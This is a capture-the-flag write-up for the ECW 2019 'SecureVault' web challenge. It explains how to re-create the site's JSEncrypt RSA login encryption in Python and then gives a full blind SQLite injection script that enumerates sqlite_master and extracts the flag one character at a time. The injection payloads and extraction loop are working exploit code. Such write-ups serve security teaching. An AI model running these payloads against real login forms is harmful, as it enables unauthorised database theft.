SecureVault

ECW 2019 CTF Qualification - Web (50 pts).

ECW 2019 CTF Qualification - SecureVault

Challenge details

Event Challenge Category Points Solves
ECW 2019 CTF Qualification SecureVault Web 50 87

securevault.jpg


Yet Another online Vault mais celui-là est sécurisé avec de la cryptographie de qualité!

Accéder au challenge

TL;DR

This was a blind SQLite injection with RSA encryption for submitted data.

Methodology

When we arrive on the website, we got a login page:

login.png


If we look at the html source code we got the following source code:

<!DOCTYPE html>
<html lang="en">
<head>
	<title>Secure Vault Login</title>
  <script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
	<script src="static/js/jsencrypt.min.js"></script>
  <script>
  		$(document).ready(function () {

  			$("#challenge").submit(function (event) {
  				event.preventDefault();
  				var encrypt = new JSEncrypt();
  				encrypt.setPublicKey($('#pubkey').val());

  				email = $('#email').val();
  				passwd = $('#passwd').val();
  				jsonlogin = {
  					"email": email,
  					"passwd": passwd
  				}

  				var encrypted = encrypt.encrypt(JSON.stringify(jsonlogin));
  				$.post( "/login",{encrypted:encrypted}, function( data ) {
  					$('#content').text(data)
  					$('#msg_modal').on('shown.bs.modal', function () {}).modal('show');
  				});
  			})

  		});
  	</script>

    [...]

    <input type=hidden id="pubkey" value="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----">

RSA

First of all we can see that when we try to login on the website, the data is cipher with RSA encryption using a public key with JSEncrypt. For this I search on google for “JSEncrypt to python” and got a StackOverflow post with a little implementation using the Crypto library using RSA and PKCS1_v1_5. I decided to implement it:

import requests
import json
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
import base64

url = "https://web_securevault.challenge-ecw.fr/login"

s = requests.session()

cook = {"session":"[REDACTED]"}

pubkey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----"""

def inject(i):
    data = {
        "email":i,
        "passwd":"x"
    }
    jsondata = json.dumps(data, separators=(',', ':'))
    rsa_key = RSA.importKey(pubkey)
    cipher = PKCS1_v1_5.new(rsa_key)
    newdata = base64.b64encode(cipher.encrypt(jsondata))
    r = s.post(url,{"encrypted":newdata},cookies=cook)
    return r.text

print(inject("test"))

We got answer BAD USERNAME/PASSWORD !, not that if data wasn’t valid, we would have Invalid input as anwser. Our python rsa script is ok.

SQLite injection

With few test, ce can easily trigger a SQL injection:

print(inject("' OR 1=0 --"))
print(inject("' OR 1=1 --"))

Output:

BAD USERNAME/PASSWORD !
Welcome back! Unfortunately we are under maintenance, please come back later :)

I decided to reuse my write-up A Simple Question which was an SQLite injection. So here is the full script to dump the database:

import requests
import string
import json
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
import base64

url = "https://web_securevault.challenge-ecw.fr/login"

s = requests.session()

  cook = {"session":"[REDACTED]"}

pubkey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----"""


def isTrue(r):
    return "Welcome back" in r.text or "flag" in r.text

def inject(i):
    data = {
        "email":i,
        "passwd":"x"
    }
    jsondata = json.dumps(data, separators=(',', ':'))

    rsa_key = RSA.importKey(pubkey)
    cipher = PKCS1_v1_5.new(rsa_key)
    newdata = base64.b64encode(cipher.encrypt(jsondata))
    r = s.post(url,{"encrypted":newdata},cookies=cook)
    return isTrue(r)

def p_inject(i):
    res = inject(i)
    print(i+"  =>  "+str(res))
    return res



for i in range(5):
    p_inject("' OR 1=1 AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) = "+str(i)+" --")
# ==> Only 2 table


for i in range(10):
    p_inject("' OR 1=1 AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' and tbl_name not like 'users' limit 1 offset 0) = "+str(i)+" --")
# ==> Table name 1 is 5 chars (users)
# ==> Table name 2 is 5 chars


tableName = ""
for i in range(7):
    for c in string.printable:
        r = p_inject("' OR 1=1 and (SELECT hex(substr(tbl_name,"+str(i+1)+",1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' and tbl_name NOT like 'users' limit 1 offset 0) = hex('"+str(c)+"') --")
        if r:
            tableName += c
            break
print("Table name: "+str(tableName))
# ==> Table name is "users"
# ==> Table name is "vault"


for i in range(10):
    p_inject("' OR 1=1 AND (SELECT 1 FROM vault ORDER BY "+str(i)+") --")
# ==> Answer has 1 column


for i in range(10):
    p_inject("' OR 1=1 AND (SELECT count(*) FROM vault ) = "+str(i)+" --")
# ==> Answer has 1 record


p_inject("' OR 1=1 AND (SELECT 1 FROM vault ORDER BY flag) --")
# ==> Answer has 1 column named "flag" (guessing)

for i in range(45,100):
    p_inject("' OR 1=1 AND (SELECT length(flag) FROM vault) > "+str(i)+" --")
# ==> Length of answer is 69

answer = ""
for i in range(69):
    for c in string.printable:
        r = p_inject("' OR 1=1 and (SELECT hex(substr(flag,"+str(i+1)+",1)) FROM vault) = hex('"+str(c)+"') --")
        if r:
            answer += c
            break
print("Answer: "+str(answer))

Output

Answer: ECW'9b41ce0c7b102d04452213ad4d8e49f77b0813'f7f8a07882039a801d6211fd3'

Flag

ECW{9b41ce0c7b102d04452213ad4d8e49f77b0813'f7f8a07882039a801d6211fd3}

Zeecka